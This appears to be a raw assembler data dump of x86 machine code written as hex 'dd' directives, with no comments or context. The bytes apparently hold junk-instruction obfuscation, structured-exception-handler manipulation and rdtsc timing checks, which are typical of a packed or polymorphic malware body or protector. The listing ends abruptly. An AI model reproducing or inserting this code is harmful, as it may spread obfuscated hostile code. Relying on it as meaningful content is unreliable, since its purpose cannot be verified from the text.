		dd 0EB1DFEC3h, 0B144830Ch, 35BD29D2h, 5007E418h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 9D89C08Bh
		dd 7E41CB9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0B4C35343h, 0BD839BB3h,	7E422B9h, 0B4850F03h, 6A000003h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0F0FAC350h, 9E96369Bh, 0BE96033h,	0B6000000h
		dd 326E97Ah, 0B93A57B1h, 8B6623ABh, 0BD8361C6h,	7E7F8A5h
		dd 70840F00h, 60000003h, 22EBD1BFh, 0C18B663Ah,	0A5B5FF61h
		dd 0E907E7F8h, 0Bh, 0CC923AB6h,	3F3071EDh, 0FF6A830Ah
		dd 0E4044D95h, 51BBF07h, 0B58B0383h, 7E7F899h, 0BBBCEF81h
		dd 6C74912h, 10001h, 1E65BD8Bh,	0E85007E4h, 5, 7D4E7B03h
		dd 8ABF6680h, 34895B62h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 7C814869h, 689EBD65h
		dd 8D8960A8h, 7E40A79h,	1409858Bh, 0FF6107E4h, 0E7F8A5B5h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0BF770F51h, 1D844A5Ah, 2099BD8Bh, 95FF07E4h
		dd 7E42A09h, 2701BD8Bh,	0B58B07E4h, 7E7F899h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0B3C35545h, 48BAEEFCh
		dd 8BB3D138h, 65858BDAh, 0F07E431h, 8689FAB7h, 0C4h, 80D3EB80h
		dd 958B8AF7h, 7E41B71h,	5E9h, 41A50900h, 0C2838C0Eh, 0ED51BF04h
		dd 508930ADh, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0C7CE248Eh, 0A3F34D25h, 2F05B529h
		dd 858D07E4h, 7E80CD4h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0D7C35343h, 29F58D09h, 868907E4h, 0B8h
		dd 10840Fh, 0BE90000h, 44000000h, 55199A0Ah, 6EDB60B2h
		dd 6A2829h, 0A5B5FFFCh,	5307E7F8h, 5FD98B66h, 31AD95FFh
		dd 0BD8B07E4h, 7E409F1h, 70BB6650h, 24348944h, 12E8h, 88D47400h
		dd 5D5B743Ah, 4FD093DFh, 4154294h, 0E879CD38h, 11h, 5723E0C1h
		dd 0C8944DACh, 0B3C8F215h, 0F5D2FC57h, 9E93Ah, 0D6BC0000h
		dd 6BFB707Ch, 5FE1362Ch, 0CE95Fh, 0B8930000h, 0A1F0C024h
		dd 87602E08h, 0B5FF3A0Eh, 7E7F8A5h, 0DE9h, 5C339500h, 0FF42A668h
		dd 0B64D66D2h, 95FF37D7h, 7E41B11h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h
		dd 1Dh,	0EAC35141h, 0F1680D93h,	5F0ED217h, 2820F4Ch, 8B000000h
		dd 0D18D31D8h, 8307E431h, 0E40DF9BDh, 840F0007h, 3Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 26C35646h, 5949258Bh
		dd 0E8213973h, 0Bh, 1ED6DEEAh, 7222373Dh, 0FC4D3630h, 0DA8B505Bh
		dd 0FF243489h, 0E7F8A5B5h, 0F5BD0307h, 0FF07E421h, 0E4027D95h
		dd 65B52907h, 907E400h,	0E40AD18Dh, 0A5B5FF07h,	6A07E7F8h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 4581C356h, 3572B953h, 0A465D20h, 8AFB8B66h
		dd 7195FFD8h, 8307E409h, 0E40A21BDh, 840F0207h,	4Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0FBC35040h, 930BC392h
		dd 919D295Ch, 5707E430h, 9565BB66h, 0B5858B5Fh,	0F07E41Eh
		dd 0C6DFB7h, 8870F00h, 56000000h, 15D9BD8Bh, 805B07E4h
		dd 85C7B5F3h, 7E42671h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 73C35545h
		dd 0BE3693A5h, 519D8B9Fh, 0E907E403h, 0FFFFF2BAh, 80C18BF5h
		dd 858D78F3h, 7E40D85h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 68C35040h, 8950BC58h,	6A2404h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 52A0A2C3h, 6E473FA3h, 0DE8C5DDh, 6E000000h, 3D968738h
		dd 0FDCBA7FFh, 8020220Dh, 6A5FF5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 2CC35040h, 254EB3F1h, 0A8C0BB66h
		dd 8E9h, 1E254E00h, 14573BB2h, 6A006A98h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0C0BEC355h
		dd 6A81AE0Ah, 858D7970h, 7E8DC2Ah, 22B58D89h, 0C08307E4h
		dd 11E99005h, 0C9000000h, 5048C203h, 71CB0BFBh,	8A95C9A6h
		dd 1A2960B0h, 95899050h, 7E418A9h, 13E9h, 0E678A600h, 0EEABDE39h
		dd 19ED44EFh, 572F3DC6h, 260F9A18h, 0AE8006Ah, 0FC000000h
		dd 0C73F2308h, 599EBC5Ch, 2D9D89EAh, 5F07E41Bh,	6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0F4BF07C3h, 0FF55738Ah, 0E4247195h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 4B8D8DD2h, 0F07E7D6h, 0BD8BF8B7h, 7E42E11h, 6AD1FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 618283C3h, 2015BD83h, 0F0107E4h, 0BC85h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0EE95C28h, 0AF000000h, 1DAB0340h, 59FB0EF6h,	0FD812B6Dh
		dd 6A026ABBh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 3A42C357h, 0FF898C6h, 2CBFFABFh
		dd 50713310h, 58C0F60h,	0B8000000h, 344CE007h, 24048961h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E2C35545h
		dd 0DD76680Ch, 0AD95019Dh, 0FF07E419h, 0E431AD95h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0E3508015h, 8BDA82D2h, 0DDFE9D9h, 0E80000h, 5D000000h
		dd 0DC34ED81h, 0EE907E8h, 65000000h, 0C1251358h, 63A0195Fh
		dd 0DADFCE2Ch, 0D99D8BF3h, 8D07E423h, 0E7C6E185h, 6650F907h
		dd 89C6D2BBh, 0E6BB2404h, 647ED838h, 35FFh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BD8BACC3h, 7E42409h, 258964h, 0F000000h, 68Ah, 15BD8B00h
		dd 0FF07E421h, 0E420B985h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BD8919B1h
		dd 7E42D11h, 0FE8h, 19D9500h, 0A85FCA2Dh, 17B4CCAh, 0A9A09F63h
		dd 6860Fh, 8F0F0000h, 0
		dd 6AFF6A5Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0AA31C357h, 8B66CCF8h,	4880FDEh
		dd 66000000h, 0FF1FBBBFh, 0E41E15B5h, 858D8907h, 8907E421h
		dd 0E42021B5h, 4D95FF07h, 0E907E430h, 0DEh, 7DB300B0h
		dd 9D8B70E6h, 7E423C9h,	10E971E4h, 33000000h, 2187991Ah
		dd 3DDBA52Bh, 0DDAF2CD2h, 3C9A4A1Ch, 0B3830F61h, 66000000h
		dd 0F89B5BBh, 0B589C8B6h, 7E40139h, 6BAh, 0CBBF6600h, 0E9C18B93h
		dd 10h,	3E19F5ABh, 0E5D2CC49h, 4910B764h, 0EE55C9Eh, 8904E8C1h
		dd 0E4230995h, 0E2F76607h, 1AD5B501h, 0C82B07E4h, 2B68B0BFh
		dd 66D18B00h, 75A2E381h, 0FF37BB66h, 9E9h, 3870F00h, 66000000h
		dd 858BF98Bh, 7E403F1h,	5AD9D8Bh, 0C08307E4h, 85BD8B07h
		dd 8307E427h, 0D03B00C0h, 9830Fh, 5B500000h, 2DE9h, 8B29B300h
		dd 0E405558Dh, 1E18307h, 1C840Fh, 9D890000h, 7E40B89h
		dd 555A583h, 66FE07E4h,	899EAABFh, 0E403F195h, 0E907h
		dd 0B58D0000h, 7E856A0h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0C2C35747h, 8F0F006Ah, 6, 18C59D8Bh
		dd 95FF07E4h, 7E40E41h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 5BC35242h, 510FDB1Fh,	0BDB9EF2Eh, 6A000007h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 8D3EC355h, 85B01516h, 96682C65h, 0FFCE183h
		dd 0F9FCFEBFh, 0B8h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8B9B0CE3h, 0E41CD99Dh
		dd 0BA07h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0DF2CE2C3h, 0E38166A8h, 0BB66C607h
		dd 0BF66D0B4h, 33ADAE5Eh, 3E8D1C2h, 4E983D0h, 850FF475h
		dd 5, 0BE85C5BBh, 7E95Fh, 2ECA0000h, 15BC6912h,	51006ADEh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0E753CBDDh, 16C7A964h, 0B185892Fh, 0D07E418h, 88h, 0E380DA8Ah
		dd 71958B8Ah, 8B07E41Bh, 0E41EC1BDh, 0A18D8B07h, 6A07E42Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 94CEC352h, 8B6658F3h, 0C28B50F8h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 0E41495BDh, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0CBCEE0F6h, 611BD83h, 0F0007E4h, 6884h, 6FD78100h, 0B874CEF1h
		dd 0
		dd 0E29B509h, 8D8D07E4h, 7E44FE7h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 96C35545h, 0BB66324Eh, 8F0F32D4h
		dd 6, 2D11BD8Bh, 0E1FF07E4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 37C35242h, 0CF444D8h, 0B9BD83DAh
		dd 7E422h, 498840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 63BF41C3h, 0F88B6A3Dh
		dd 22B9BD83h, 0F0107E4h, 48484h, 8D853100h, 8307E430h
		dd 0E422B9BDh, 860F0307h, 43Bh,	0BD8B60FCh, 7E42C41h, 0FD98C66h
		dd 381h, 0D98B6600h, 6A04E180h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 5BAAC350h, 0F3754FBh
		dd 0C90ADEB7h, 194840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0B70FA4C3h, 51858BDEh
		dd 6A07E406h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 701EC350h, 20298533h, 6A07E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 4ED552C3h, 9771CAB7h, 8A0FD563h, 1Bh, 12E8h,	2F19E400h
		dd 14083773h, 0A06B20Bh, 8F75F034h, 0F13FBF8h, 2B5FDFBFh
		dd 0E418FD9Dh, 0E18D8907h, 9007E413h, 7E9h, 87022F00h
		dd 90B1D280h, 8BF6650h,	6A90AAh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0B7F086C3h, 0A74CD64Ch
		dd 0FE91A0Eh, 5C000000h, 89EDD51h, 0E1534D85h, 2F10D72h
		dd 6AA5A9h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Ch,	35C35040h, 1A6F3BEAh, 0A3E4AF1Dh, 207D8589h, 4E807E4h
		dd 0FF000000h, 0B3001F03h, 448B50FAh, 0D98B0424h, 8B66008Bh
		dd 244489DEh, 0C4BB6604h, 0FE8584Eh, 9B000000h,	694CC070h
		dd 3E4EEA66h, 675BF610h, 9D8B73CFh, 7E432A9h, 9995FF5Fh
		dd 6A07E42Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 1212C353h, 1B9D9D8Bh, 858907E4h
		dd 7E7F8A5h, 8D89D98Bh,	7E409E1h, 1C3E9h, 0E6BA6000h, 89531336h
		dd 0E431E18Dh, 858B6107h, 7E7F89Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0FDC35343h,	1800C7A5h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0E922C352h, 11h, 817EF96Ch, 0BD605DAh, 0C74B524h
		dd 0E7C6F35Ah, 0A1B58B61h, 6A07E7F8h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0E1E6C356h
		dd 2907870Fh, 0E401F585h, 858BF807h, 7E40099h, 5059501h
		dd 68907E4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	5DC35343h, 8659824Bh, 1953155h,	107E427h, 0E42AA58Dh
		dd 51858B07h, 6A07E406h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0A541C350h,	69BE009h
		dd 0B3619281h, 359D2958h, 8907E42Ah, 9D290446h,	7E4272Dh
		dd 0BBBF6696h, 8996507Bh, 0E4070185h, 0FB8B6607h, 0F89DB5FFh
		dd 0F0BB07E7h, 892D2A8Ah, 0E432F185h, 27D66807h, 0F6082DEh
		dd 28Ah, 60D78B00h, 61615953h, 29240481h, 8B7D40DCh, 0E414A5BDh
		dd 0DAB70F07h, 0F8A5858Dh, 6A07E7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E8E466C3h
		dd 0E76D5D31h, 68E0FAEh, 89000000h, 0E42DC9B5h,	0CE95007h
		dd 86000000h, 68FE37Bh,	47B6BD0Dh, 8958CEAFh, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 28AFD1C3h, 2D9995FFh, 0BD3307E4h, 7E40AF1h, 53006A61h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0BC8B0F35h, 0E309263Fh, 1830Fh, 0C7FC0000h, 0E422B985h
		dd 307h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 9D89D676h, 7E429F1h, 0F8A5BD83h
		dd 0F0007E7h, 4A84h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 950951F4h, 7E40A8Dh, 3DE9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0D9BD8B9Dh, 5007E417h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0B8281FC3h
		dd 8960C463h, 0E413A18Dh, 0A5B58B07h, 6107E405h, 25A99D31h
		dd 0BD8307E4h, 7E422B9h, 92850F03h, 0E9000004h,	0Fh, 429E17ADh
		dd 3EF27B47h, 9837036Ch, 83E67CACh, 0E7F8A5BDh,	840F0007h
		dd 471h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Dh,	43C35141h, 0EBB9FA51h, 674AE348h, 0A5B5FFC4h, 0F07E7F8h
		dd 684h, 0B5EB8100h, 0FF21FC10h, 0E4044D95h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 10E90AE2h, 58000000h, 28A7D649h, 4704CAD0h, 3E50B9Dh
		dd 8B0639FEh, 0E7F899B5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 6C7DF02h, 10001h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0AC35040h
		dd 8BDD2517h, 0E42D81BDh, 96DF8B07h, 0AE86053h,	0FF000000h
		dd 0E94A85DFh, 0C12607D6h, 5F61595Ah, 0FE8B6650h, 89505296h
		dd 0E407AD95h, 535B5B07h, 0FB8B6651h, 0B5FF5B5Fh, 7E7F8A5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BBC35747h
		dd 6FD2BE13h, 0BD8B560Bh, 7E41275h, 995FF5Bh, 6A07E42Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0CE2DC350h, 76118E2Eh, 8D8938E4h,	7E407ADh
		dd 0F899B58Bh, 6A07E7h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0B3C8F2C3h, 0F5D2FC57h, 0BF66503Ah
		dd 8B5B735Bh, 0E4316585h, 0DFB70F07h, 0C48689F8h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 4DE4C356h, 8B66AE3Ch, 71958BDAh, 107E41Bh
		dd 0E41F11BDh, 4C28307h, 0FE9h,	9CA00C00h, 32D61AEEh, 1BD232B5h
		dd 0FB914BFAh, 28D0Fh, 0DF8B0000h, 6A205089h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 257C356h, 0D9B9781Fh, 40C783FDh, 0B0D9D8Bh, 858D07E4h
		dd 7E80CD4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	1DC35747h, 0DF2BF3B5h, 9D2BF511h, 7E431A9h, 192D9D89h
		dd 868907E4h, 0B8h, 0C51EF0BBh,	0F096BF7Eh, 6A2038h, 0F18589h
		dd 0B5FF07E4h, 7E7F8A5h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 34C35545h, 0FD125AC5h, 0AD95FFCEh, 0E807E431h
		dd 5, 47DCEE86h, 5BB1B365h, 50DA8B96h, 2FBBBB60h, 0FFB5659Ch
		dd 12E99661h, 4000000h,	0EA781AB0h, 75A2E360h, 92C5BCB9h
		dd 0FB87833Dh, 0A5B5FFE0h, 6A07E7F8h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 68FBC350h
		dd 0CFE6E65Fh, 0CB81BBF8h, 24BEC559h, 1B1195FFh, 0BD8B07E4h
		dd 7E40925h, 0DF9BD83h,	0F0007E4h, 7884h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 0BCF261B5h, 360C10D4h, 0AE8h, 44947900h, 0E31FB370h
		dd 0E9C90613h, 14h, 980036CDh, 0E16AA8FFh, 706450EBh, 0D3EF5393h
		dd 5BA9F0D8h, 8B66965Fh, 0BB6650DAh, 6A96E2E6h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 4802C356h, 6881010h,	0A5B5FFA0h, 8907E7F8h, 0E426C9B5h
		dd 0F7816607h, 95FF0380h, 7E4027Dh, 0F8A5B5FFh,	6A07E7h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 73A593C3h, 0F19D8B52h, 5F07E419h, 97195FFh, 6A07E4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0CF4993C3h, 5798529h, 0BD8307E4h, 7E40A21h, 62840F02h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 28E0C353h, 24473513h, 8B1632B1h
		dd 0E423899Dh, 0B5858B07h, 0BF07E41Eh, 6227F8C6h, 6A0000C6h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0F77AC353h, 39F5CB3Fh, 8B36F203h,	0E405F99Dh
		dd 7185C707h, 7E426h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0ADFCC350h,	0F307E909h
		dd 0D0BBFFFFh, 8B08298Eh, 50006AC1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0EF00C301h
		dd 85858DF5h, 6A07E40Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 7E47C352h, 95903ABBh
		dd 9E9502Fh, 92000000h,	64631886h, 0FDDC4C25h, 0F240489h
		dd 6AFABFh, 0BA5B509h, 6A07E4h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 6EC35646h, 95898114h, 7E41945h
		dd 0EBCB858Dh, 6A07E8h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 9A9250C3h, 843FEA11h, 5C083D4h
		dd 0E3D8531h, 665007E4h, 8999CDBBh, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0FB658AC3h
		dd 860F660Eh, 6, 20998589h, 6A07E4h, 0BD23DE8Bh, 7E41275h
		dd 8166006Ah, 0FF3A90E3h, 0E4247195h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0F549AB6Fh, 273062BFh, 4B8D8D0Eh, 0BB07E7D6h, 2FE2B517h
		dd 8B56D1FFh, 0E42B099Dh, 0F605F07h, 38Dh, 0F08B6600h
		dd 53ECB866h, 15BD8361h, 107E420h, 80850Fh, 9D8B0000h
		dd 7E407A1h, 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0D78166C3h, 311FC996h, 0FE68BB90h
		dd 50505696h, 0FF98B52h, 3BB6631h, 90585A45h, 6E8h, 0C99C7100h
		dd 0B8C7FF3h, 0E42FA59Dh, 95FF5F07h, 7E431ADh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 55C35343h, 0E956F954h
		dd 6, 11048C94h, 0FE947ACh, 0E800000Dh,	0
aBaIsJ		db ']νΥλθ',7,'j',0
		db 52h,	0E8h, 3
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 8EB6C352h, 6AB4F2E9h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 84F5C352h, 56EC00CAh
		dd 9E9h, 7EDF5200h, 0E5D8CE2Fh,	8D5B78F2h, 0E7C6E185h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 2303F887h, 6676DAC8h, 17B3D88Bh,	60536050h
		dd 52505861h, 8E0Fh, 310F0000h,	310F5250h, 585A585Ah, 24048961h
		dd 0B055D9BFh, 35FF6421h, 0
		dd 15B53160h, 0E907E418h, 8, 0CBB28E71h, 1B9E2E9Eh, 25896461h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0D7C35646h
		dd 572D7C89h, 80DD4B86h, 85FFD88Ah, 7E420B9h, 2C31BD89h
		dd 0FF6A07E4h, 926AA2BBh, 0CE865h, 3C890000h, 9D7BC8CAh
		dd 0BE788E17h, 9D8B02E9h, 7E420F1h, 0EDB5FF5Fh,	6A07E40Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0FB1C350h, 95FFDEB7h, 7E4304Dh, 123E9h, 0DEB70F00h
		dd 0DC8A00B0h, 0E4F970E6h, 4FADBF71h, 613C289Ah, 10A830Fh
		dd 0B60F0000h, 0A59501C8h, 0BA07E426h, 6, 0C18BDE8Bh, 0E95B5260h
		dd 0Ch,	0B4C17817h, 0CDDF3750h,	73029C6h, 4E8C161h, 6810Fh
		dd 8D010000h, 7E413E5h,	7E9h, 2B77600h,	4D287ABFh, 2BE2F766h
		dd 799531C8h, 8B07E422h, 6BBF66D1h, 6E9D7h, 9D8B0000h
		dd 7E427A1h, 0AD858Bh, 820F07E4h, 6, 15C9BD89h,	0C08307E4h
		dd 14E807h, 6D770000h, 7D7AE2C9h, 882BAE14h, 0D343015Bh
		dd 66E0DE2Ch, 0E85188E3h, 0Ah, 69BE009h, 31619281h, 5B5BDC94h
		dd 0C0835Bh, 0D03BDA8Bh, 11830Fh, 0B5890000h, 7E41485h
		dd 53E9h, 99950100h, 8B07E419h,	0E413998Dh, 0FF98B07h
		dd 486h, 61605600h, 1E1835Fh, 32840Fh, 0A5830000h, 7E41399h
		dd 13E9FEh, 61520000h, 1424FC71h, 72BB40B7h, 8A4FA64Fh
		dd 0DA6F7B42h, 0AD9589E3h, 8B07E400h, 0C99D8BDEh, 0E907E415h
		dd 0
		dd 6072B58Dh, 0F6007E8h, 8D09DBBFh, 7E43575h, 84DF8061h
		dd 0FE8B006Ah, 0E4195FFh, 6A07E4h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0B7E72CC3h, 5830Fh, 57600000h
		dd 0B961FC5Eh, 92Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0D9C35141h, 9345C10Bh, 0B70F60D6h, 0C9BF0FCEh
		dd 858D3161h, 8307E40Ah, 0FCFCFCE1h, 59A30DBFh,	6AC02B33h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0BCAFC356h, 0DEC6E863h, 0FABBFD5Ah, 666F2A72h
		dd 1138C781h, 0BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0B0C1DC10h, 890A5291h
		dd 0E4252985h, 0C233AD07h, 0D003E8D1h, 7504E983h, 55BD8BF4h
		dd 0D07E400h, 88h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 80C35141h, 6602BCC0h,	8B0F35BBh, 0E41B7195h
		dd 67EB8007h, 2DA18D8Bh, 0C78107E4h, 9C8AAAAh, 50FABF0Fh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	8D9D8B58h
		dd 6A07E414h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 82BBC356h, 29BD0969h, 8307E426h
		dd 0E40611BDh, 840F0007h, 56h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 9DC35747h, 9B7EB3A1h, 16F55F4h
		dd 0E42FBDB5h, 0B8F907h, 8D000000h, 0E44FE78Dh,	56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 80E1FFACh, 0BD83ABD7h, 7E422B9h, 28840F00h, 6A000004h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8312C356h, 0E422B9BDh, 840F0107h,	41Ah, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0AAC35545h, 0BD8B5453h
		dd 7E405F9h, 22B9BD83h,	0F0307E4h, 3B386h, 0BD896000h
		dd 7E424C5h, 0BD8B6061h, 7E4148Dh, 0FD98C66h, 0A89h, 61606000h
		dd 2F018D89h, 806107E4h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 84504BC3h, 630C4BC7h
		dd 81E13D78h, 0B3DC70D7h, 0FC90A36h, 13D84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0C5F48B47h, 51858B1Ah, 6A07E406h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 648FC355h
		dd 2B4047D1h, 0B5895F4Ah, 7E425F9h, 9E8h, 2C96E400h, 0D2EB9BB3h
		dd 800FA4BAh, 3, 5FF8B70Fh, 20298533h, 0BD8907E4h, 7E431BDh
		dd 66525050h, 310FDE8Bh, 2830Fh, 61600000h, 489585Ah, 0DB816624h
